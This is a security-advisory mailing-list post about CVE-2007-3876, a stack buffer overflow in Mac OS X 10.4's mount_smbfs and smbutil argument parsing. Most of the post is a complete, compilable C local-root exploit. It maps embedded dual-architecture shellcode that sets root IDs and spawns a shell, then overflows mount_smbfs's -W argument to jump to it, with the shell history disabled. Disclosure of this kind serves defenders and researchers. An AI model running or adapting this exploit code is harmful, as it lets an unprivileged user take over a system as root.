The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)
------------------------------------------------------------------------
SUMMARY
A stack buffer overflow issue exists in the code used by the mount_smbfs
and smbutil applications to parse command line arguments, which may allow
a local user to cause arbitrary code execution with system privileges.
DETAILS
Vulnerable Systems:
* Mac OS X version 10.4.11
Immune Systems:
* Mac OS X version 10.5 or newer
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3876>
CVE-2007-3876
Exploit:
/*
* Copyright (C) 2007-2008 Subreption LLC. All rights reserved.
* Visit http://blog.subreption.com for exploit development notes.
*
* References:
* CVE-2007-3876
* http://docs.info.apple.com/article.html?artnum=307179
* http://seclists.org/fulldisclosure/2007/Dec/0445.html
*
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=633
* http://phrack.org/issues.html?issue=64&id=11#article
* BID: http://www.securityfocus.com/bid/26926
*
*
* Notes:
* We bypass non-executable stack via shared_region_map_file_np(), as
* documented in a Phrack 64 article by nemo. This technique has been
* restricted in Leopard, but works perfectly in Tiger. Originally we
* developed a Ruby exploit but given the reliable nature of nemo's
* approach, we decided a C port would be the best option.
*
* Compile with: gcc -Wall mount_smbfs_root.c -o mount_smbfs_root
* Version: 1.0 (+tiger_x86)
*
* Distributed under the terms of the Subreption Open Source License v1.0
* http://static.subreption.com/public/documents/subreption-sosl-1.0.txt
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <mach/vm_prot.h>
#include <mach/i386/vm_types.h>
#include <mach/shared_memory_server.h>
#include <string.h>
#include <unistd.h>
#define BASE_ADDR 0x9ffff000
#define PADDING_SIZE 1040
#define PAYLOAD_SIZE PADDING_SIZE + 24
/* From osfmk/mach/i386/vm_param.h */
#define I386_PGBYTES 4096
#define I386_PGSHIFT 12
#define PAGE_SIZE I386_PGBYTES
#define PAGE_SHIFT I386_PGSHIFT
struct _shared_region_mapping_np {
mach_vm_address_t address;
mach_vm_size_t size;
mach_vm_offset_t file_offset;
vm_prot_t max_prot;
vm_prot_t init_prot;
};
struct x86_target {
char ebx[4];
char esi[4];
char edi[4];
char ebp[4];
char eip[4];
char saved_eip[4];
char extra_arg[4];
};
static int force_exploit = 0;
/* Dual PowerPC + IA32 shellcode by nemo and b-r00t.
* seteuid(0) + setuid(0) + execve()
*/
static char dual_shellcode[] =
"\x5f\x90\xeb\x60\x38\x00\x00\xb7\x38\x60\x00\x00\x44\x00\x00\x02"
"\x38\x00\x00\x17\x38\x60\x00\x00\x44\x00\x00\x02\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb\x01\x70\x39\x40\x01\x70"
"\x39\x1f\xfe\xcf\x7c\xa8\x29\xae\x38\x7f\xfe\xc8\x90\x61\xff\xf8"
"\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02"
"\x7c\xa3\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd\x80\x31\xc0\x50"
"\xb0\x17\x6a\x7f\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x53\xb0\x3b\xcd\x80";
/* Unless we are forcing the exploit, exit the process */
void cond_exit(int exitcode) {
if (!force_exploit)
exit(exitcode);
}
/* map_shellcode(void) - returns a return address as unsigned long
* The returned address points to our shellcode, mapped from a temporary
file on disk.
* Most of this code is based on nemo's original example in his Phrack 64
article.
* If the mapping exists, it will fail and require -f flag to be used for
avoiding
* the exit() calls.
*/
unsigned long map_shellcode(void) {
int fd = -1;
unsigned long shellcodeaddr = 0x0;
struct _shared_region_mapping_np shmreg;
char tmpbuf[PAGE_SIZE];
char *tmpfname;
void *scptr = NULL;
memset(tmpbuf, 0x90, sizeof(tmpbuf));
scptr = (tmpbuf + PAGE_SIZE - sizeof(dual_shellcode));
shmreg.address = BASE_ADDR;
shmreg.size = PAGE_SIZE;
shmreg.file_offset = 0;
shmreg.max_prot = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE;
shmreg.init_prot = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE;
tmpfname = "/tmp/iChat.sock";
if ((fd = open(tmpfname, O_RDWR|O_CREAT)) == -1) {
perror("open");
cond_exit(EXIT_FAILURE);
}
memcpy(scptr, dual_shellcode, sizeof(dual_shellcode));
if (write(fd, tmpbuf, PAGE_SIZE) != PAGE_SIZE) {
perror("write");
close(fd);
cond_exit(EXIT_FAILURE);
}
if (syscall(SYS_shared_region_map_file_np, fd, 1, &shmreg, NULL) ==
-1) {
perror("shared_region_map_file_np");
close(fd);
if (unlink(tmpfname) == -1)
perror("unlink");
cond_exit(EXIT_FAILURE);
}
if (close(fd) == -1)
perror("close");
if (unlink(tmpfname) == -1)
perror("unlink");
shellcodeaddr = (unsigned long)(shmreg.address + PAGE_SIZE -
sizeof(dual_shellcode));
fprintf(stdout, "Shellcode mapped: mapping starts at 0x%x, shellcode
at %x\n",
(unsigned)shmreg.address, (unsigned)shellcodeaddr);
return shellcodeaddr;
}
int main(int argc, char *argv[])
{
struct x86_target payload_template;
unsigned long retaddr = 0x0;
char payload[PAYLOAD_SIZE];
void *curptr = NULL;
char *vuln_argv[] = {
"mount_smbfs",
"-W",
"PLACEHOLDER",
0
};
char *vuln_envp[] = {
"HISTFILE=/dev/null",
"TERM=xterm-color",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin",
"HISTSIZE=1",
0
};
fprintf(stdout, "Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root
exploit\n"
"Copyright (c) 2007-2008 Subreption LLC. All rights
reserved.\n");
if (argc > 1) {
if (!strcmp(argv[1], "-f"))
force_exploit = 1;
}
retaddr = map_shellcode();
fprintf(stdout, "Payload size: %u (%u padding bytes), Return address:
0x%x\n",
(unsigned)sizeof(payload), PADDING_SIZE, (unsigned)retaddr);
memset(&payload_template, 0, sizeof(payload_template));
// Copy the correct addresses to the payload_template structure
memcpy(payload_template.ebx, "\xfe\xca\xfe\xca", 4); // ebx =
0xcafecafe
memcpy(payload_template.esi, "\xdd\xce\xfa\xde", 4); // esi =
0xdefacedd
memcpy(payload_template.edi, "\xce\xfa\xed\xfe", 4); // edi =
0xfeedface
memcpy(payload_template.ebp, "\xef\xfe\xad\xde", 4); // ebp =
0xdeadbeef
memcpy(payload_template.eip, &retaddr, 4); // eip = retaddr
memcpy(payload_template.saved_eip, "\xd0\x02\x01\x90", 4); // saved
eip = exit()
memcpy(payload_template.extra_arg, "\xfd\xf8\xff\xbf", 4); // extra
arg = 0xbffff8fd
// Fill the payload with the initial padding
curptr = (void *)payload;
memset(curptr, 0x41, PADDING_SIZE);
// Copy the payload_template structure to our payload buffer
curptr = payload + PADDING_SIZE;
memcpy(curptr, &payload_template, sizeof(payload_template));
// Set the value to the -W option to point at our payload
vuln_argv[2] = (char *)payload;
if (execve("/sbin/mount_smbfs", vuln_argv, vuln_envp) == -1) {
perror("execve");
exit(EXIT_FAILURE);
}
return 0;
}
// milw0rm.com [2007-12-19]
ADDITIONAL INFORMATION
The information has been provided by Subreption.
The original article can be found at:
<http://blog.subreption.com/2007/12/19/our-last-public-apple-mac-os-x-exploit-of-the-year-mount_smbfs/>
http://blog.subreption.com/2007/12/19/our-last-public-apple-mac-os-x-exploit-of-the-year-mount_smbfs/
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
